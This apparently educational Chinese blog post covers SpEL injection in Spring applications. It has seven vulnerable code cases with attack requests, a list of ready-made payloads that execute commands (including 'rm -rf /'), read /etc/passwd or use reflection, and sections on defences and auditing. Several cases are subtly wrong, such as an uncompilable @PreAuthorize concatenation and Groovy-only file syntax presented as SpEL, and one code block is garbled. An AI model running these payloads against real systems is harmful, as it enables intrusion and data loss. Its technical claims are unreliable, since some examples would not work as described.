SpEL注入案例

wen java案例 2

SpEL注入案例

SpEL(Spring Expression Language)注入是一种严重的安全漏洞,攻击者可以通过未经过滤的用户输入执行任意表达式,以下是详细的案例分析:

SpEL注入案例

案例1:基本SpEL注入

漏洞代码:

@RestController
public class ExpressionController {
    @GetMapping("/evaluate")
    public String evaluateExpression(@RequestParam String expression) {
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(expression);
        return exp.getValue().toString();
    }
}

攻击示例:

GET /evaluate?expression=T(java.lang.Runtime).getRuntime().exec('calc')

案例2:基于注解的SpEL注入

漏洞代码:

@Component
public class SecurityConfig {
    @Value("#{${user.role}}")
    private String role;
    @GetMapping("/admin")
    public String adminPage(@RequestParam String role) {
        // 如果role动态注入
        return role;
    }
}

攻击示例:

POST /admin
Content-Type: application/x-www-form-urlencoded
role=T(java.lang.Runtime).getRuntime().exec('rm -rf /')

案例3:模板中的SpEL注入

漏洞代码(Thymeleaf模板):

<div th:text="${__${param.expression}__}">
    默认文本
</div>

攻击示例:

GET /page?expression=T(java.lang.Runtime).getRuntime().exec('ls')

案例4:XML配置中的SpEL注入

漏洞配置:

<bean id="userService" class="com.example.UserService">
    <property name="role" value="#{systemProperties['${user.role}']}"/>
</bean>

攻击方式:

POST /api/user
Content-Type: application/json
{
    "role": "T(java.lang.Runtime).getRuntime().exec('id')"
}

案例5:Spring Data MongoDB中的SpEL注入

漏洞代码:

@Query("{ 'name': ?0 }")
List<User> findByName(@Param("0") String name);

攻击示例:

GET /users?name=#{T(java.lang.Runtime).getRuntime().exec('whoami')}

案例6:自定义SpEL Usage

漏洞代码:

@Component
public class CustomExpressionEvaluator {
    private final ExpressionParser parser = new SpelExpressionParser();
    public Object evaluateUserExpression(String userExpression) {
        // 直接评估用户提供的表达式
        return parser.parseExpression(userExpression).getValue();
    }
}

攻击示例:

// 用户输入
String userInput = "new java.io.File('/etc/passwd').text";
// 执行结果可能返回文件内容

案例7:基于Spring Security的SpEL注入

漏洞代码:

@PreAuthorize("hasRole('" + userRole + "')")
public void sensitiveOperation() {
    // 敏感操作
}

攻击示例:

userRole = "ADMIN') or 1=1 or ('"

常见攻击Payloads

  1. 获取系统属性:

    T(java.lang.System).getProperty('os.name')
  2. 执行系统命令:

    T(java.lang.Runtime).getRuntime().exec('ls -la')
  3. 读取文件:

    new java.io.File('/etc/passwd').text
  4. 反射调用:

    T(java.lang.String).forName('java.lang.Runtime').getMethod('getRuntime').invoke(null)
  5. 使用ProcessBuilder:

    new java.lang.ProcessBuilder('ls').start()

防护措施

  1. 输入验证和过滤:

    public class SafeExpressionEvaluator {
     private static final Set<String> WHITELIST = Set.of("name", "age", "email");
     public Object safeEval(String expression) {
         if (!WHITELIST.contains(expression)) {
             throw new SecurityException("Invalid expression");
         }
         // 安全评估
         return evaluationContext.getVariable(expression);
     }
    }
  2. 使用SimpleEvaluationContext:

    public static class SpelUtil {
     public static Object evaluateSafeExpression(String expression) {
         ExpressionParser parser = new SpelExpressionParser();
         // 限制SpEL功能
         EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
         return parser.parseExpression(expression).getValue(context);
     }
    }
  3. 参数化查询:

    // 不安全的做法
    String query = "SELECT * FROM users WHERE name = '" + userInput + "'";

// 安全的做法 @Query("SELECT u FROM User u WHERE u.name = :name") List findByName(@Param("name") String name);


4. **使用白名单:**
```java
private static final Pattern SAFE_PATTERN = Pattern.compile("^[a-zA-Z0-9_]+$");
public boolean isSafeExpression(String expression) {
    return SAFE_PATTERN.matcher(expression).matches();
}
  1. 禁用SpEL:
    @Value("#{'${property}'}")
    // 改为
    @Value("${property}")

检测与修复建议

  1. 代码审计:

    • 搜索所有SpEL使用场景
    • 检查用户输入是否直接进入SpEL解析
    • 验证评估上下文是否限制
  2. 安全测试:

    • 使用自动化工具扫描
    • 手动测试边界条件
    • 执行渗透测试
  3. 修复优先级:

    • 高:直接用户输入控制SpEL
    • 中:动态属性值整合
    • 低:静态表达式评估

SpEL注入漏洞通常出现在以下场景:

  • 用户输入直接作为表达式解析
  • 动态构建属性值
  • 反射调用未受限
  • 评估上下文过于宽松

通过输入验证、使用限制性上下文、参数化查询和最小权限原则可以有效防范此类攻击。

抱歉,评论功能暂时关闭!